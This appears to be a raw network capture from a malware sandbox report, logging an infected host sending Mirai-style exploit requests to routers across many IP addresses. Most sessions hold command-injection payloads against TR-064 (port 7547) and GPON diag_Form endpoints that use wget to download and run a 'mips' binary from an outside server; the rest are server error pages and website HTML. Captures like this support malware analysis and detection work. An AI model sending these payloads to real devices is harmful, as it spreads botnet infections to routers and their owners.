Apr 15, 2024 08:53:49.625869036 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.13	53868	23.217.183.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.653111935 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:49.903778076 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:49 GMT Date: Mon, 15 Apr 2024 06:53:49 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 31 66 64 35 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 32 39 26 23 34 36 3b 38 62 31 65 62 61 66 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 31 66 64 35 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 32 39 26 23 34 36 3b 38 62 31 65 62 61 66 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a1fd517.1713164029.8b1ebaf7<P>https://errors.edgesuite.net/9.a1fd517.1713164029.8b1ebaf7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.13	60600	98.151.113.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.656264067 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:49.881114006 CEST	500	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 15 Apr 2024 06:53:50 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.13	60602	137.63.70.67	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.663938999 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.13	34542	163.191.29.247	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.694664955 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.368375063 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:51.712495089 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.13	54718	109.33.20.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.716068983 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.688563108 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:52.640480042 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.576422930 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.13	58666	128.199.144.166	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.723685980 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.044487000 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.13	44058	140.246.80.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.731978893 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.018090963 CEST	1289	IN	Data Raw: 73 75 62 5f 74 78 74 22 2f 3e 0a 09 09 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 3d 22 22 20 63 6c 61 73 73 3d 22 73 75 62 6d 69 74 20 66 72 22 2f 3e 0a 09 09 09 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 Data Ascii: sub_txt"/><input type="button" value="" class="submit fr"/></form></div></div></div><div class="nav"> <li><a href="/"></a></li><li><a href="http://www.gzrmcbs.com/guanyu"></a><ul
Apr 15, 2024 08:53:51.018110037 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Mon, 15 Apr 2024 06:53:49 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/5.4.45 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://www.gzrmcbs.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 20 20 e6 9c aa e6 89 be e5 88 b0 e9 a1 b5 e9 9d a2 20 2d 20 e8 b4 b5 e5 b7 9e e4 ba ba e6 b0 91 e5 87 ba e7 89 88 e7 a4 be 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 68 75 62 61 6e 73 68 65 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 68 75 62 61 6e 73 68 65 2f 63 73 73 2f 73 77 69 70 65 72 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 75 74 6f 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 20 63 6c 65 61 72 66 69 78 22 3e 0a 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 20 66 6c 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 68 75 62 61 6e 73 68 65 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 62 6f 78 20 66 72 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 67 6e 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 64 65 6e 67 6c 75 22 3e e7 99 bb e5 bd 95 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 7c 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 7a 68 75 63 65 22 3e e6 b3 a8 e5 86 8c 3c 2f 61 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 22 3e 0a 09 09 09 09 09 09 0a 09 09 09 09 09 09 3c 66 6f 72 6d 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 2f 22 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 e8 be 93 e5 85 a5 e5 85 b3 e9 94 ae e8 af 8d e6 90 9c e7 b4 a2 22 20 6e 61 6d 65 3d 22 73 22 20 63 6c 61 73 73 3d 22 Data Ascii: <!doctype html><html lang="en"><head><meta charset="UTF-8" /><title> - </title><meta name="keywords" content="" /><meta name="description" content="" /><link rel="stylesheet" href="/wp-content/themes/chubanshe/css/style.css" /><link rel="stylesheet" href="/wp-content/themes/chubanshe/css/swiper.min.css" /></head><body> <div class="header"><div class="auto"><div class="top clearfix"><a href="/" class="logo fl"><img src="/wp-content/themes/chubanshe/images/logo.png"></a><div class="searchbox fr"><div class="sign"><a href="/denglu"></a><span>\|</span><a href="/zhuce"></a></div><div class="search"><form method="get" id="searchform" action="/" role="search"><input type="text" placeholder="" name="s" class="
Apr 15, 2024 08:53:51.018126011 CEST	1289	IN	Data Raw: 74 75 73 68 75 7a 68 6f 6e 67 78 69 6e 2f 6a 69 61 6f 79 75 22 3e e6 95 99 e8 82 b2 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 7a 72 6d 63 62 73 2e 63 6f 6d 2f 74 75 73 68 75 7a 68 Data Ascii: tushuzhongxin/jiaoyu"></a></li><li><a href="http://www.gzrmcbs.com/tushuzhongxin/lvyou"></a></li><li><a href="http://www.gzrmcbs.com/tushuzhongxin/shenghuo"></a></li><li><a href="http://www.gzrmcbs.com/tushuzhongxin/she
Apr 15, 2024 08:53:51.018141985 CEST	1289	IN	Data Raw: 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 7a 72 6d 63 62 73 2e 63 6f 6d 2f 62 61 6e 71 75 61 6e 68 65 7a 75 6f 22 3e e7 89 88 e6 9d 83 e5 90 88 e4 bd 9c 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 3e 3c 61 20 68 72 65 Data Ascii: li><a href="http://www.gzrmcbs.com/banquanhezuo"></a></li><li><a href="http://www.gzrmcbs.com/lianxi"></a></li></ul></li><li><a href="http://www.gzrmcbs.com/dianzishu"></a><ul class="sub-menu"><li><a
Apr 15, 2024 08:53:51.018157959 CEST	1289	IN	Data Raw: 61 73 73 3d 22 69 6d 67 22 3e 0a 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 09 09 3c 70 20 63 6c 61 73 73 3d 22 69 6e 66 6f 22 3e 0a 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 09 09 09 e5 96 9c e8 ae af e3 80 a1 e8 b4 b5 e5 b7 9e e4 ba ba e6 Data Ascii: ass="img"> <p class="info"> 2019 </p> </a> </div>
Apr 15, 2024 08:53:51.018176079 CEST	1289	IN	Data Raw: 09 3c 2f 61 3e 0a 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 77 69 70 65 72 2d 73 6c 69 Data Ascii: </a> </div> <div class="swiper-slide"> <a href="http://www.gzrmcbs.com/dongtai/1608.html" class="img_block"> <img src="http://www.gzrmcbs.com/wp-content/uploads/2
Apr 15, 2024 08:53:51.018193007 CEST	1289	IN	Data Raw: 09 09 09 09 09 09 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 20 20 09 09 09 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 69 74 65 6d 20 63 6c 65 61 72 66 69 78 22 3e 0a 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: </li> <li class="item clearfix"><a href="http://www.gzrmcbs.com/dongtai/3722.html" class="title fl" target="_blank"> \| 50</a><span
Apr 15, 2024 08:53:51.018210888 CEST	1289	IN	Data Raw: b5 8e e7 ad 96 e5 88 92 e9 83 a8 e8 b5 b4 e8 a5 bf e5 8d 97 e4 ba a4 e9 80 9a e5 a4 a7 e5 ad a6 e5 a4 96 e5 9b bd e8 af ad e5 ad a6 e9 99 a2 e6 8b 9c e8 ae bf e5 ba a7 e8 b0 88 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 Data Ascii: </a><span class="time fr">2023-05-19 </span></li> <li class="item clearfix"><a href="http://www.gzrmcbs.com/dongtai/3640.html" class="tit
Apr 15, 2024 08:53:51.018229008 CEST	1289	IN	Data Raw: 09 0a 09 09 09 09 09 09 09 3c 2f 75 6c 3e 0a 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 09 09 09 20 20 20 20 0a 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 09 09 09 20 20 20 20 0a 09 09 09 20 20 20 20 20 20 20 Data Ascii: </ul> </div> </div> <div class="div2 a2" style="display:none;"> <ul> <li class="item clearfix"><a hr
